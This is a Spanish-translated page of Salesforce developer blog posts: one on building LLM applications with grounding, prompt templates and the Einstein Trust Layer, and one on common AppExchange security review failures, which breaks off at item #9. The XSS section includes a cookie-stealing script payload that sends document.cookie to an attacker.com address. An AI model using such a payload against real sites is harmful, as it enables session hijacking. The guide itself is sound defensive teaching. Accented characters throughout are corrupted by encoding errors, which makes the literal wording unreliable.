Skip to content

Tag: apis

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnolog铆a m谩s transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la informaci贸n. Para los desarrolladores, esto plantea nuevas preguntas: desde la pr谩ctica "驴C贸mo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" M谩s profundamente, 鈥溌緾贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones? 鈥 Exploramos estas dos preguntas en esta publicaci贸n de blog.

驴C贸mo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "驴C贸mo creo aplicaciones con LLM?" y explore tres opciones que com煤nmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de c贸digo abierto
  3. Utilice modelos existentes a trav茅s de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos espec铆ficos de su industria. Un modelo entrenado con datos de un dominio espec铆fico generalmente ser谩 m谩s preciso que un modelo de prop贸sito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece m谩s control y precisi贸n, puede que no siempre sea el mejor enfoque. Aqu铆 hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho m谩s peque帽o, el modelo GPT-3 de OpenAI tard贸 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, tambi茅n necesitar谩 un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensi贸n entre la forma en que aprenden los LLM y la forma en que se implementan las pol铆ticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. 隆Cuantos m谩s datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las pol铆ticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio m铆nimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo espec铆fico. 隆Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposici贸n de todos en su empresa puede no ser una buena idea y violar las pol铆ticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de c贸digo abierto

Personalizar un modelo de c贸digo abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, a煤n necesita un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que a煤n experimentes la tensi贸n de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a trav茅s de API

Utilizar modelos existentes a trav茅s de API es la forma m谩s sencilla de crear aplicaciones con LLM. Esta es tambi茅n la opci贸n m谩s utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado gen茅rico para ser 煤til.

En esta publicaci贸n de blog, exploramos diferentes t茅cnicas para agregar datos contextuales o privados de la empresa a trav茅s del mensaje. Debido a que el mensaje se crea din谩micamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensi贸n de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen t茅cnicas para abordar esa preocupaci贸n y tambi茅n las describimos en esta publicaci贸n de blog.

Creaci贸n de aplicaciones impulsadas por IA utilizando modelos existentes a trav茅s de API

Llamada API b谩sica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementaci贸n m谩s b谩sica, su aplicaci贸n captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, as铆 es como se ver铆a la llamada API usando la API OpenAI:

Esta opci贸n puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaraci贸n SQL de muestra con una uni贸n externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado gen茅rico para ser 煤til.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electr贸nico de presentaci贸n para el director ejecutivo de Acme.

El correo electr贸nico generado no ser铆a personalizado ni relevante porque el modelo no sabe nada sobre su relaci贸n con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea m谩s relevante y contextual, el usuario puede fundamentar el LLM con informaci贸n adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electr贸nico de presentaci贸n a Lisa Martinez, directora ejecutiva de ACME.
Aqu铆 hay una lista de los 煤ltimos tres pedidos que Acme realiz贸 a Northern Trail Outfitters:
Colecci贸n Verano 2023: $375,286
Colecci贸n Primavera 2023: $402,255
Colecci贸n Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho m谩s relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha informaci贸n de conexi贸n a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Est谩 pasando informaci贸n confidencial al proveedor del modelo donde potencialmente podr铆a persistir o usarse para entrenar a煤n m谩s el modelo, lo que significa que sus datos privados podr铆an aparecer en la respuesta generada por el modelo de otra persona.

Construcci贸n r谩pida y puesta a tierra din谩mica.

Para abordar la primera limitaci贸n anterior, puede construir el mensaje mediante programaci贸n. El usuario ingresa una cantidad m铆nima de informaci贸n o simplemente hace clic en un bot贸n en la aplicaci贸n y luego usted crea el mensaje mediante programaci贸n agregando datos relevantes. Por ejemplo, en respuesta a un clic en el bot贸n 鈥淓scribir correo electr贸nico de introducci贸n鈥, podr铆a:

  1. Llame a un servicio para obtener informaci贸n sobre el usuario.
  2. Llame a un servicio para obtener informaci贸n sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la informaci贸n obtenida de los servicios de datos anteriores.

As铆 es como podr铆an verse estos pasos de construcci贸n r谩pidos en Apex:

El principal inconveniente de este enfoque es que requiere un c贸digo personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos din谩micos en texto est谩tico.

Plantillas de aviso

Para facilitar la construcci贸n del mensaje, podemos usar plantillas: un patr贸n de desarrollo de software bien conocido que se usa com煤nmente para fusionar datos din谩micos en documentos est谩ticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posici贸n que se reemplazan din谩micamente con datos din谩micos en tiempo de ejecuci贸n.

As铆 es como se ver铆a el ejemplo de Apex anterior usando un lenguaje de plantilla gen茅rico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electr贸nico de presentaci贸n a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son 煤tiles para crear mensajes mediante programaci贸n, sino que tambi茅n se pueden utilizar como base para herramientas gr谩ficas que admiten la creaci贸n de mensajes en un entorno de arrastrar y soltar.

Estudio r谩pido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creaci贸n de indicaciones. Le permite crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos disponibles a trav茅s de datos de p谩ginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las p谩ginas de registro y el c贸digo Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados din谩micamente en un entorno gr谩fico. Pero, 驴c贸mo se env铆a ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • 驴Qu茅 pasa con los problemas de cumplimiento y privacidad si pasa datos de informaci贸n de identificaci贸n personal (PII) en el mensaje? 驴El proveedor del modelo podr铆a conservar los datos de PII o incluso utilizarlos para entrenar a煤n m谩s el modelo?
  • 驴C贸mo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • 驴C贸mo se rastrea y registra los pasos de creaci贸n de mensajes con fines de auditor铆a?

Si utiliza la API del proveedor de LLM directamente, tendr谩 que escribir un c贸digo personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar dif铆cil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

As铆 es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger a煤n m谩s sus datos, Salesforce tiene acuerdos de retenci贸n cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistir谩n ni entrenar谩n m谩s sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detecci贸n de toxicidad y el registro de seguimiento de auditor铆a. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detecci贸n de toxicidad comprueba si hay contenido da帽ino u ofensivo en el resultado. El registro de seguimiento de auditor铆a registra todo el proceso con fines de auditor铆a.

De cara al futuro: creaci贸n de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este art铆culo: 驴C贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones?

Encadenamiento r谩pido

La l贸gica involucrada en la creaci贸n de un mensaje a veces puede volverse compleja. Puede implicar m煤ltiples llamadas a API o servicios de datos, como en el ejemplo de conexi贸n a tierra din谩mica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento r谩pido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se env铆a al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestaci贸n de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven m谩s complejos, podemos ver la necesidad de alguna forma de orquestaci贸n. Como desarrollador, luego crear铆a una serie de bloques de construcci贸n que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna l贸gica computacional, etc. Estos bloques de construcci贸n se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestaci贸n. Esto se podr铆a hacer usando una herramienta de orquestaci贸n tradicional que le permita definir qu茅 bloques de construcci贸n usar, en qu茅 orden y cu谩ndo (con diferentes ramas "si"). Pero, 驴qu茅 pasar铆a si la orquestaci贸n en s铆 estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qu茅 bloques de construcci贸n usar y c贸mo componerlos para realizar una tarea espec铆fica? La orquestaci贸n impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcci贸n orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes b谩sicos descritos anteriormente. Podr铆an ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales est谩n disponibles de forma predeterminada y otras ser谩n desarrolladas por los desarrolladores. Esto tambi茅n crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecuci贸n de la orquestaci贸n, el planificador elige (crea un plan para) qu茅 acciones usar y c贸mo componerlas para responder mejor a la solicitud del usuario.

La orquestaci贸n de IA es un 谩rea activa de investigaci贸n en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a trav茅s de API es una forma com煤n de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados m谩s relevantes y 煤tiles. En lugar de pedirle al usuario que ingrese una gran cantidad de informaci贸n b谩sica manualmente, puede crear el mensaje mediante programaci贸n llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creaci贸n de mensajes al permitirle crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestaci贸n impulsada por la IA es un paradigma emergente que podr铆a cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de coraz贸n con m谩s de 25 a帽os de experiencia en la creaci贸n de aplicaciones empresariales, habilitando audiencias t茅cnicas y asesorando a organizaciones de TI.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

